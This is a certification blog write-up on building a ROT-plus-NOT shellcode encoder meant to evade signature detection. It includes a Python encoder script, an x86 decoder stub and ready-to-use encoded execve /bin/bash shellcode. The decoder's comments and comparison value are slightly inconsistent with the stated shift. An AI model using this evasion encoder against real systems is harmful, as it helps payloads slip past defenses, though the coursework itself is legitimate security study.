SLAE32 - Assignment 4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: PA-15072

All associated code can be found here: https://github.com/pAP3R/public/tree/master/SLAE32/assignments

Encoders

For this assignment, students were tasked with creating a custom encoding scheme, such as the "Insertion Encoder" from the course.

Requirements:
  1. Create a custom encoding scheme like the “Insertion Encoder”
  2. Write a PoC using execve-stack as the shellcode to encode with your schema and execute
Pretty simple! For this task, I decided to start with a simple ROT cipher as we're simply trying to avoid signature based detections. In python, that might look like this:
>>> input = 1
>>> rotate = 13
>>> out = input + rotate
>>> print(out)
14
That's pretty... expected, haha. Translated to asm, that's still very simple and there's a number of ways to accomplish it depending on your needs. Here's a rather verbose, easily understood version using write():
global _start
section .text
_start:
    xor eax, eax
    mul ebx
    push ebx
    mov bl, 0x1
    mov al, 0x04 ; write()

add:
    mov ecx, value
    add byte [ecx], 0x0C
    mov edx, 0x01
    int 0x80

storage:       
    value: db 0x29
Again, pretty simple. In this case, we get a value of  '5' returned by the application, which is 0x35, or 0x29 + 0x0C. We know our processor works, great! If your machine didn't return 5 well, that's a problem, lol.

Although encoded, a ROT cipher is pretty boring. As I was searching around and seeing how other encoders had been implemented, I found a ROT cipher with a twist. Since we're working with bytes, in order to prevent an overflow, such as ROT13(0xFA) which would equal 0x107, we can perform a check to see if the value is going to be greater than 256. If so, we can instead subtract from the value. This isn't strictly necessary since we're working with lower register values, but it does add a layer of obscurity to the encoder.

For example:

ROT13(0xFA) = 0x107
0x107 - 0x0D = 0xFA

In assembly, we can effectively just ignore the overflow by dealing only with lower register values (e.g. al, bl), but I thought this would be a good exercise. In order to add my own spice to the equation, I also added a bitwise NOT to the encoder and decoder, so the encoder will add or subtract the provided value, then bitwise NOT the result. The decoder will then perform a bitwise NOT and add or subtract the value, depending on whether or not the 'overflow' condition would be met.

Here's the python script I came up with:
#!/usr/bin/python
import sys

# ROT X + NOT encoder / decoder
# For SLAE32
# Howard McGreehan

if len(sys.argv) < 2:
    print("[!] Provide a shift")
    sys.exit()
else:
    shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

# Set up a few variables for use in our loop
orig = ""
encoded = bytearray()
encodedOut1 = ""
encodedOut2 = ""
encodedOut3 = ""
encoded2 = ""

# We can't let the bytes become bigger than 256 minus the value we add!
addVal = int(sys.argv[1])
maxVal = 256 - addVal

# Create a loop to encode our shellcode
for byte in bytearray(shellcode):  
    # For sanity, we'll print out the original shellcode
    orig += '\\x%02x' % (byte & 0xff)

    # Check how big the byte is, if it's going to be larger than the
    # maxVal, we need to account for it (otherwise it's bigger than a byte)
    if (byte < maxVal):
        tmp = (~(byte + addVal))&0xff
        encodedOut1 += '\\x%02x' % (tmp)
        encodedOut2 += '%02x' % (tmp)
        encodedOut3 += '0x%02x,' % (tmp)
        encoded.append(tmp)
    else:
        tmp = (~(addVal - maxVal + byte))&0xff
        encodedOut1 += '\\x%02x' % (tmp)
        encodedOut2 += '%02x' % (tmp)
        encodedOut3 += '0x%02x,' % (tmp)
        encoded.append(tmp)
# Simple decoder
# Does the inverse of above
for byte in bytearray(encoded):
    if (byte < maxVal):
        tmp = (~byte  - addVal)&0xff
        encoded2 += '\\x%02x' % (tmp)
    else:
        tmp = (addVal + maxVal - ~byte)&0xff
        encoded2 += '\\x%02x' % (tmp)

l1 = len(bytearray(shellcode))
print("Original shellcode (%s bytes): \n%s\n") % (str(l1), orig)
print("Shift %s + NOT Encodings:\n") % (int(addVal))
print("%s\n") % (encodedOut1)
print("0x%s\n") %(encodedOut2)
print("%s\n") % (encodedOut3)
print("Unshift (should be orig): \n%s\n") % (encoded2)
As with every script I've ever written and will ever write, looking back at it I find plenty of ways I could change them, but alas they will just have to get better in the future. Here's a sample run:
$ ./encoder.py 12
Original shellcode (30 bytes):
\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Shift 12 + NOT Encodings:
\xc2\x33\xa3\x8b\x91\x92\x80\x8b\x8b\x91\x8a\x85\xc4\x8b\xc4\xc4\xc4\xc4\x6a\x10\xa3\x6a\x11\xa0\x6a\x12\x43\xe8\x26\x73

0xc233a38b9192808b8b918a85c48bc4c4c4c46a10a36a11a06a1243e82673

0xc2,0x33,0xa3,0x8b,0x91,0x92,0x80,0x8b,0x8b,0x91,0x8a,0x85,0xc4,0x8b,0xc4,0xc4,0xc4,0xc4,0x6a,0x10,0xa3,0x6a,0x11,0xa0,0x6a,0x12,0x43,0xe8,0x26,0x73,

Unshift (should be orig):
\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Pretty sweet, worked as expected, which is great. Now, a shellcode encoder wouldn't be worth much without it's decoding counterpart:
global _start
section .text
_start:
        ; Ye ol' jmpy cally popy
        jmp short call_shellcode
decode:
        ; pop the location of encodedShellcode into EDI
        pop edi
        xor ecx, ecx
        mov cl, len

decoder:
        ; get the byte in edi into eax
        mov al, byte [edi]

        ; check the size of the byte
        cmp al, 0x0A

        ; If it's less than our shift, jump to rollover
        jl short rollover

        ; not the byte
        ; sub 10 from it, then replace it
        not byte al
        sub al, 0x0C
        mov [edi], al
        jmp short next

rollover:
        ; We're here because the number is going to rollover if we add to it
        ; zero ebx, then add FF to it
        ; add one, to get 100 without nulls
        xor ebx, ebx
        mov bl, 0xff
        inc bx

        ; just subtract from bl
        sub bl, 0x0C

        ; not the byte
        ; add the shift and replace it
        not byte al
        mov esi, eax
        add ebx, esi
        mov [edi], bl

next:
        inc edi
        loop decoder
        jmp short encodedShellcode

call_shellcode:
        call decode
        encodedShellcode: db 0xc2,0x33,0xa3,0x8b,0x91,0x92,0x80,0x8b,0x8b,0x91,0x8a,0x85,0xc4,0x8b,0xc4,0xc4,0xc4,0xc4,0x6a,0x10,0xa3,0x6a,0x11,0xa0,0x6a,0x12,0x43,0xe8,0x26,0x73
        len: equ $-encodedShellcode
Sure, it's not the sexiest, but no one asked you, right?

Always a bonus (I suppose, a goal at this point) no null bytes:
$ objdump -d ./execve-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x29\x5f\x31\xc9\xb1\x1e\x8a\x07\x3c\x0a\x7c\x08\xf6\xd0\x2c\x0c\x88\x07\xeb\x11\x31\xdb\xb3\xff\x66\x43\x80\xeb\x0c\xf6\xd0\x89\xc6\x01\xf3\x88\x1f\x47\xe2\xde\xeb\x05\xe8\xd2\xff\xff\xff\xc2\x33\xa3\x8b\x91\x92\x80\x8b\x8b\x91\x8a\x85\xc4\x8b\xc4\xc4\xc4\xc4\x6a\x10\xa3\x6a\x11\xa0\x6a\x12\x43\xe8\x26\x73"
That's it for assignment four.

Comments

Popular posts from this blog

06 - How to maybe not be so bad at fuzzing, Part 2

07 - Just Another OSCE Review

05 - How to maybe not be so bad at fuzzing, Part 1